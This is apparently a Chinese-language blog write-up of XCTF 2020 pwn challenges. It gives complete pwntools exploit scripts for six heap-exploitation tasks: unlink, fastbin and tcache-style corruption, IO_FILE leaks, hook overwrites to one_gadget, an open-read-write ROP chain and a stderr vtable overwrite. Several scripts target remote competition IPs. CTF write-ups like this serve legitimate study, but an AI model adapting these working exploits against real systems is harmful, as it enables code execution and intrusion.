XCTF 2020年联合各所高校举办的一场公益CTF比赛,菜鸟全靠后期复现,而且还没有做完,不定期更新
Easy_Heap
由于添加块的时候会直接申请一个0x20大小的块,从而可以通过溢出8个字节的大小控制下一个块的fd,两个方法泄漏libcbase,一个是利用IO_FILE打印IO_stdin的地址,一种是修改free为puts的plt表地址,继而打印某函数的got表内容
| 1 | from pwn import* | 
| 2 | def add(size,content): | 
| 3 | 	p.sendlineafter('choice:','1') | 
| 4 | 	p.sendlineafter('How long is this message?',str(size)) | 
| 5 | 	if size >0x400: | 
| 6 | 		return 0 | 
| 7 | 	p.sendafter('What is the content of the message?',content) | 
| 8 | def free(idx): | 
| 9 | 	p.sendlineafter('choice:','2') | 
| 10 | 	p.sendlineafter('deleted?',str(idx)) | 
| 11 | def edit(idx,content): | 
| 12 | 	p.sendlineafter('choice:','3') | 
| 13 | 	p.sendlineafter('modified?',str(idx)) | 
| 14 | 	p.sendafter('message?',content) | 
| 15 | p = remote('121.36.209.145',9997) | 
| 16 | #p = process('./main') | 
| 17 | #context.log_level = 'debug' | 
| 18 | libc = ELF('libc-2.23.so',checksec=False) | 
| 19 | og = [0x45216,0x4526A,0xF02A4,0xF1147] | 
| 20 | add(0x18,'FMYY') | 
| 21 | add(0x18,'FMYY') | 
| 22 | add(0x68,'FMYY') | 
| 23 | free(0) | 
| 24 | free(1) | 
| 25 | add(0x500,'FMYY') | 
| 26 | edit(0,p64(0)+p64(0x21)+'\x80') | 
| 27 | add(0x18,p64(0x602088)) | 
| 28 | edit(2,p64(0xF0)+p64(0)*6+p64(0x602080)) | 
| 29 | edit(0,p64(0xFBAD1800)+p64(0)*3+'\x88') | 
| 30 | p.recvline() | 
| 31 | libc_base=u64(p.recv(6).ljust(8,'\x00'))-libc.sym['_IO_2_1_stdin_'] | 
| 32 | libc.address = libc_base | 
| 33 | edit(1,p64(libc.sym['__free_hook'])) | 
| 34 | edit(2,p64(libc_base+og[1])) | 
| 35 | free(0) | 
| 36 | p.interactive() | 
| 1 | from pwn import* | 
| 2 | def add(size,content): | 
| 3 | 	p.sendlineafter('choice:','1') | 
| 4 | 	p.sendlineafter('How long is this message?',str(size)) | 
| 5 | 	if size >0x400: | 
| 6 | 		return 0 | 
| 7 | 	p.sendafter('What is the content of the message?',content) | 
| 8 | def free(idx): | 
| 9 | 	p.sendlineafter('choice:','2') | 
| 10 | 	p.sendlineafter('deleted?',str(idx)) | 
| 11 | def edit(idx,content): | 
| 12 | 	p.sendlineafter('choice:','3') | 
| 13 | 	p.sendlineafter('modified?',str(idx)) | 
| 14 | 	p.sendafter('message?',content) | 
| 15 | p = process('./main') | 
| 16 | elf = ELF('./main') | 
| 17 | context.log_level = 'debug' | 
| 18 | libc = ELF('libc-2.23.so',checksec=False) | 
| 19 | og = [0x45216,0x4526A,0xF02A4,0xF1147] | 
| 20 | add(0x18,'FMYY') | 
| 21 | free(0) | 
| 22 | add(0x500,'FMYY') | 
| 23 | add(0x18,'FMYY') | 
| 24 | free(1) | 
| 25 | add(0x500,'FMYY') | 
| 26 | add(0x18,'FMYY') | 
| 27 | edit(1,p64(0) + p64(0x21) + p64(elf.got['free'])) | 
| 28 | edit(2,p64(0x400670)) | 
| 29 | edit(1,p64(0) + p64(0x21) + p64(elf.got['puts'])) | 
| 30 | free(2) | 
| 31 | p.recvline() | 
| 32 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['puts'] | 
| 33 | libc.address = libc_base | 
| 34 | edit(0,p64(0) + p64(0x21) + p64(elf.got['atoi'])) | 
| 35 | edit(1,p64(libc.sym['system'])) | 
| 36 | p.sendafter('choice:','/bin/sh\x00') | 
| 37 | p.interactive() | 
下载
lgd
堆溢出可以利用unlink,再用orw
| 1 | from pwn import* | 
| 2 | def add(size,text): | 
| 3 | 	p.sendlineafter('>> ','1') | 
| 4 | 	p.recvuntil('______?') | 
| 5 | 	p.sendline(str(size)) | 
| 6 | 	p.recvuntil('yes_or_no?') | 
| 7 | 	p.send(text) | 
| 8 | def free(index): | 
| 9 | 	p.sendlineafter('>> ','2') | 
| 10 | 	p.recvuntil('index ?') | 
| 11 | 	p.sendline(str(index)) | 
| 12 | def show(index): | 
| 13 | 	p.sendlineafter('>> ','3') | 
| 14 | 	p.recvuntil('index ?') | 
| 15 | 	p.sendline(str(index)) | 
| 16 | def edit(index,text): | 
| 17 | 	p.sendlineafter('>> ','4') | 
| 18 | 	p.recvuntil('index ?') | 
| 19 | 	p.sendline(str(index)) | 
| 20 | 	p.recvuntil('content ?') | 
| 21 | 	p.send(text) | 
| 22 | p = remote('121.36.209.145',9998) | 
| 23 | #context.log_level = 'debug' | 
| 24 | elf = ELF('./main') | 
| 25 | libc = ELF('./libc-2.23.so') | 
| 26 | p.sendlineafter('your name?','FMYY') | 
| 27 | add(0x88,'U'*0x89) | 
| 28 | add(0x1000-0x10,'U'*0xF0) | 
| 29 | add(0x100,'U'*0x100) | 
| 30 | unlink =  0x6032E0 | 
| 31 | payload  = p64(0) + p64(0x81) | 
| 32 | payload += p64(unlink - 0x18) | 
| 33 | payload += p64(unlink - 0x10) | 
| 34 | payload = payload.ljust(0x80,'U') | 
| 35 | payload += p64(0x80) + '\x00' | 
| 36 | edit(0,payload) | 
| 37 | free(1) | 
| 38 | edit(0,'\x00'*0x18 +p64(elf.got['read']) + p64(unlink)) | 
| 39 | show(0) | 
| 40 | p.recvline() | 
| 41 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['read'] | 
| 42 | log.info('Libc_Base:\t' + hex(libc_base)) | 
| 43 | libc.address = libc_base | 
| 44 | edit(1,p64(unlink) + p64(0x6033E0) + p64(libc.sym['__environ'])) | 
| 45 | show(2) | 
| 46 | p.recvline() | 
| 47 | Stack = u64(p.recv(6).ljust(8,'\x00')) -0x228 | 
| 48 | ROP  = './flag\x00\x00' | 
| 49 | ROP += p64(libc.address + 0x021102) | 
| 50 | ROP += p64(0x6033E0) | 
| 51 | ROP += p64(libc.address + 0x0202E8) | 
| 52 | ROP += p64(0) | 
| 53 | ROP += p64(libc.symbols['open']) | 
| 54 | ROP += p64(libc.address + 0x021102) | 
| 55 | ROP += p64(3) | 
| 56 | ROP += p64(libc.address + 0x0202E8) | 
| 57 | ROP += p64(libc.address + 0x3C6700) | 
| 58 | ROP += p64(libc.address + 0x001B92) | 
| 59 | ROP += p64(0x100) | 
| 60 | ROP += p64(libc.symbols['read']) | 
| 61 | ROP += p64(libc.address + 0x021102) | 
| 62 | ROP += p64(1) | 
| 63 | ROP += p64(libc.address + 0x0202E8) | 
| 64 | ROP += p64(libc.address + 0x3C6700) | 
| 65 | ROP += p64(libc.address + 0x001B92) | 
| 66 | ROP += p64(0x100) | 
| 67 | ROP += p64(libc.symbols['write']) | 
| 68 | payload  = p64(0x6033E0) | 
| 69 | payload += p64(0x4009A9) | 
| 70 | edit(1,ROP) | 
| 71 | edit(0,p64(Stack)) | 
| 72 | edit(0,payload) | 
| 73 | p.interactive() | 
下载
woodenbox
首先利用爆破修改main_arena+88最末两个字节然后泄漏libc,然后利用堆块重叠,写malloc_hook为one_gadget
| 1 | from pwn import* | 
| 2 | def add(size,text): | 
| 3 | 	p.sendlineafter('choice:','1') | 
| 4 | 	p.sendlineafter('item name:',str(size)) | 
| 5 | 	p.sendafter('item:',text) | 
| 6 | def edit(index,size,text): | 
| 7 | 	p.sendlineafter('choice:','2') | 
| 8 | 	p.sendlineafter('item:',str(index)) | 
| 9 | 	p.sendlineafter('name:',str(size)) | 
| 10 | 	p.sendafter('item:',text) | 
| 11 | def free(index): | 
| 12 | 	p.sendlineafter('choice:','3') | 
| 13 | 	p.sendafter('item:',str(index)) | 
| 14 | p = remote('121.36.215.224',9998) | 
| 15 | libc = ELF('./libc-2.23.so',checksec=False) | 
| 16 | #context.log_level ='debug' | 
| 17 | while True: | 
| 18 | 	try: | 
| 19 | 		p = remote('121.36.215.224',9998) | 
| 20 | 		add(0x10,'\n') | 
| 21 | 		add(0x10,'\n') | 
| 22 | 		add(0x58,'\n') | 
| 23 | 		add(0x68,'\n') | 
| 24 | 		add(0x20,'\n') | 
| 25 | 		add(0x10,'\n') | 
| 26 | 		edit(1,0x20,'\x00'*0x18+p64(0x101)) | 
| 27 | 		free(2) | 
| 28 | 		free(2) | 
| 29 | 		add(0x58,'\n') | 
| 30 | 		add(0x28,'\n') | 
| 31 | 		edit(0,0x70,'\x00'*0x58+p64(0x71)+'\xDD\x55') | 
| 32 | 		add(0x68,'\n') | 
| 33 | 		add(0x68,'\x00'*0x33+p64(0xFBAD1800)+p64(0)*3+'\x88') | 
| 34 | 		libc_base=u64(p.recv(6).ljust(8,'\x00'))-libc.sym['_IO_2_1_stdin_'] | 
| 35 | 		libc.address=libc_base | 
| 36 | 		og = [0x45216,0x4526A,0xF02A4,0xF1147] | 
| 37 | 		add(0x68,'\n') | 
| 38 | 		free(6) | 
| 39 | 		edit(0,0x100,'\x00'*0x28+p64(0x71)+p64(libc.sym['__malloc_hook']-0x23)) | 
| 40 | 		add(0x68,'\n') | 
| 41 | 		add(0x68,'\x00'*0x13+p64(og[2]+libc_base)) | 
| 42 | 		p.sendlineafter('Your choice:','4') | 
| 43 | 		break | 
| 44 | 	except: | 
| 45 | 		p.close() | 
| 46 | 		continue | 
| 47 | p.interactive() | 
下载
Shotest_Path_v2
利用选择4,覆盖申请空间时的标志为非0值,从而可以利用UAF打印对应地址的FLAG
| 1 | from pwn import* | 
| 2 | #context.log_level ='debug' | 
| 3 | def add(idx,length,name,sign): | 
| 4 | 	p.sendlineafter('---> ','1') | 
| 5 | 	p.sendlineafter('ID: ',str(idx)) | 
| 6 | 	p.sendlineafter('Price: ','256') | 
| 7 | 	p.sendlineafter('Length: ',str(length)) | 
| 8 | 	p.sendlineafter(' Name: ',name) | 
| 9 | 	if sign !=0: | 
| 10 | 		p.sendlineafter('station: ','20') | 
| 11 | 		for n in range(21): | 
| 12 | 			if n +1!= idx: | 
| 13 | 				p.sendlineafter('station ID: ',str(n+1)) | 
| 14 | 				p.sendlineafter('distance: ','-1') | 
| 15 | 	else: | 
| 16 | 		p.sendlineafter('station: ','0') | 
| 17 | def free(index): | 
| 18 | 	p.sendlineafter('---> ','2') | 
| 19 | 	p.sendlineafter('ID: ',str(index)) | 
| 20 | def show(index): | 
| 21 | 	p.sendlineafter('---> ','3') | 
| 22 | 	p.sendlineafter('ID: ',str(index)) | 
| 23 | def list(start,end): | 
| 24 | 	p.sendlineafter('---> ','4') | 
| 25 | 	p.sendlineafter('Station ID: ',str(start)) | 
| 26 | 	p.sendlineafter('Station ID: ',str(end)) | 
| 27 | |
| 28 | p = process('./main') | 
| 29 | add(0,0x20,'FMYY',0) | 
| 30 | add(30,0x20,'FMYY',0) | 
| 31 | for i in range(21): | 
| 32 |     add(i+1,0x10,'FMYY',1) | 
| 33 | free(0) | 
| 34 | list(1,2) | 
| 35 | free(30) | 
| 36 | add(29,0x10,p64(0)+p64(0x6068E0),0) | 
| 37 | show(0) | 
| 38 | p.recvuntil('name: ') | 
| 39 | log.info('FLAG:\t'+p.recvuntil('}')) | 
| 40 | p.close() | 
下载
musl
musl-libc,一种轻量型的C库文件,首先泄漏libc_base,本地环境调试时vmmap可以知道heap mmap libc等位置,然后利用unlink继而泄漏environ中的栈值,从而利用修改栈数据getshell
| 1 | from pwn import* | 
| 2 | def add(size,content,sign): | 
| 3 | 	p.sendlineafter('>','1') | 
| 4 | 	p.sendlineafter('size? >',str(size)) | 
| 5 | 	p.sendlineafter('believer? >',sign) | 
| 6 | 	p.sendafter('sleeve >',content) | 
| 7 | def free(index): | 
| 8 | 	p.sendlineafter('>','2') | 
| 9 | 	p.sendlineafter('ID? >',str(index)) | 
| 10 | def edit(index,content): | 
| 11 | 	p.sendlineafter('> ','3') | 
| 12 | 	p.sendlineafter('ID? >',str(index)) | 
| 13 | 	p.send(content) | 
| 14 | def show(index): | 
| 15 | 	p.sendlineafter('>','4') | 
| 16 | 	p.sendlineafter('ID? >',str(index)) | 
| 17 | 	return p.recvuntil("Done") | 
| 18 | #context.log_level ='debug' | 
| 19 | p = process('./main') | 
| 20 | libc = ELF('libc.so',checksec=False) | 
| 21 | add(0x60,'\n','N')	#0 | 
| 22 | add(0x60,'\n','N')	#1 | 
| 23 | add(0x60,'\n','N')	#2 | 
| 24 | add(0x60,'\n','N')	#3 | 
| 25 | add(0x60,'\n','N')	#4 | 
| 26 | add(0x60,'\n','N')	#5 | 
| 27 | free(3) | 
| 28 | free(5) | 
| 29 | free(1) | 
| 30 | payload = "\x00"*0x38+p64(0)*3+p64(0x61)+p64(0x20)+p64(0XDEADBEEF)*2+p64(0x70)+p64(0x81)+'H'*8 | 
| 31 | add(0x38,payload,'Y') | 
| 32 | libc_base = u64(show(4)[8:14].ljust(8,'\x00'))-0x292E38 | 
| 33 | mmap_base = libc_base + 0x290000 | 
| 34 | heap_base = libc_base + 0x293000 | 
| 35 | edit(1,p64(1)+p64(0x71)+p64(mmap_base+0x18-0x18)+p64(mmap_base+0x18-0x10)+"\n") | 
| 36 | free(4) | 
| 37 | edit(1,p64(mmap_base+0x10)+p64(0x4)+p64(0x602034)+p64(8)+p64(libc_base+libc.sym["environ"])+"\n") | 
| 38 | edit(1,p32(0)) | 
| 39 | environ = u64(show(2)[:6].ljust(8,'\x00')) | 
| 40 | pop_rdi_ret = 0x14862 | 
| 41 | binsh = 0x91345 | 
| 42 | predict_ret = environ-0x90 | 
| 43 | edit(0,p64(0x70)+p64(predict_ret)+'\n') | 
| 44 | edit(1,p64(libc_base+pop_rdi_ret)+p64(libc_base+binsh)+p64(libc_base+libc.sym["system"])) | 
| 45 | p.interactive() | 
下载
Bjut
盲打题,负数溢出,从-40处可以打印出取得libc_base,然后-16 stderr结构向下溢出改虚表为one_gadget
此题我本地是Kali系统,而Kali的所有one_gadget都不满足条件,所以有条件的还是Ubuntu 19复现
下方所给出的LIBC以及写的EXP都在Kali下所写
| 1 | from pwn import* | 
| 2 | def add(size,content):		#count <=0x10 | 
| 3 | 	p.sendlineafter('>','1') | 
| 4 | 	p.sendlineafter('The length of your hw:',str(size)) #0<size<0x80 | 
| 5 | 	p.sendafter('Input your hw:',content) | 
| 6 | def show(index): | 
| 7 | 	p.sendlineafter('>','4') | 
| 8 | 	p.sendlineafter('index of your hw:',str(index)) | 
| 9 | def free(index): | 
| 10 | 	p.sendlineafter('>','3') | 
| 11 | 	p.sendlineafter('index of your hw:',str(index)) | 
| 12 | def edit(index,content): | 
| 13 | 	p.sendlineafter('>','2') | 
| 14 | 	p.sendlineafter('index of your hw:',str(index)) | 
| 15 | 	p.sendafter('Input your hw:',content) | 
| 16 | p = process('./main') | 
| 17 | context(arch='amd64',os='linux') | 
| 18 | #context.log_level ='debug' | 
| 19 | show(-40) | 
| 20 | p.recvuntil('Your hw:\n') | 
| 21 | libc_base = u64(p.recv(0x1D8)[-8:]) - 0x26AD0 | 
| 22 | log.info(hex(libc_base)) | 
| 23 | IO_stderr = flat([ | 
| 24 | 0x00000000FBAD2087, libc_base+0x1BA703, | 
| 25 | libc_base+0x1BA703,	libc_base+0x1BA703, | 
| 26 | libc_base+0x1BA703,	libc_base+0x1BA703, | 
| 27 | libc_base+0x1BA703,	libc_base+0x1BA703, | 
| 28 | libc_base+0x1BA704,	0x0000000000000000, | 
| 29 | 0x0000000000000000,	0x0000000000000000, | 
| 30 | 0x0000000000000000,	libc_base+0x1BA760, | 
| 31 | 0x0000000000000002,	0xFFFFFFFFFFFFFFFF, | 
| 32 | 0x0000000000000000,	libc_base+0x1BC570, | 
| 33 | 0xFFFFFFFFFFFFFFFF,	0x0000000000000000, | 
| 34 | libc_base+0x1B9780,	0x0000000000000000, | 
| 35 | 0x0000000000000000,	0x0000000000000000, | 
| 36 | 0x0000000000000000,	0x0000000000000000, | 
| 37 | 0x0000000000000000,	libc_base+0x1BB560]) | 
| 38 | IO_stdout = IO_stderr | 
| 39 | IO_stdout +=flat([ | 
| 40 | 0x00000000FBAD2887,	libc_base+0x1BA7E3, | 
| 41 | libc_base+0x1BA7E3,	libc_base+0x1BA7E3, | 
| 42 | libc_base+0x1BA7E3,	libc_base+0x1BA7E3, | 
| 43 | libc_base+0x1BA7E3,	libc_base+0x1BA7E3, | 
| 44 | libc_base+0x1BA7E4,	0x0000000000000000, | 
| 45 | 0x0000000000000000,	0x0000000000000000, | 
| 46 | 0x0000000000000000,	libc_base+0x1B9A00, | 
| 47 | 0x0000000000000001,	0xFFFFFFFFFFFFFFFF, | 
| 48 | 0x000000003E000000,	libc_base+0x1BC580, | 
| 49 | 0xFFFFFFFFFFFFFFFF,	0x0000000000000000, | 
| 50 | libc_base+0x1B98C0,	0x0000000000000000, | 
| 51 | 0x0000000000000000,	0x0000000000000000, | 
| 52 | 0x00000000FFFFFFFF,	0x0000000000000000, | 
| 53 | 0x0000000000000000,	libc_base+0x1BB560]) | 
| 54 | payload = IO_stdout | 
| 55 | payload += flat([ | 
| 56 | libc_base+0x1BA680,libc_base+0x1BA760, | 
| 57 | libc_base+0x1B9A00,libc_base+0x26E20]) | 
| 58 | payload += flat([ | 
| 59 | libc_base+0x16AFE0, libc_base+0x16B040, | 
| 60 | libc_base+0x16B070, libc_base+0x16B0D0, | 
| 61 | libc_base+0x16B310, libc_base+0x16B4E0, | 
| 62 | libc_base+0x16B510, libc_base+0x16B540, | 
| 63 | libc_base+0x16B5A0, libc_base+0x91030 , | 
| 64 | libc_base+0x16B6C0, libc_base+0x16B700, | 
| 65 | libc_base+0x16B710, libc_base+0x16B780, | 
| 66 | libc_base+0xF5FD0 , libc_base+0x16B790, | 
| 67 | libc_base+0x16B840, libc_base+0x16B880, | 
| 68 | libc_base+0x11A190, libc_base+0x16B8A0, | 
| 69 | libc_base+0x16B940, libc_base+0x16B910, | 
| 70 | libc_base+0x16B9C0, libc_base+0x129490, | 
| 71 | libc_base+0x16B9E0, libc_base+0x16BA10, | 
| 72 | libc_base+0x16BA40, libc_base+0x16BA70, | 
| 73 | libc_base+0x16BAA0, libc_base+0x16BB50]) | 
| 74 | payload += p64(0)*4 | 
| 75 | payload += p64(libc_base+0xC84DA)*16 | 
| 76 | edit(-16,payload) | 
| 77 | p.interactive() | 
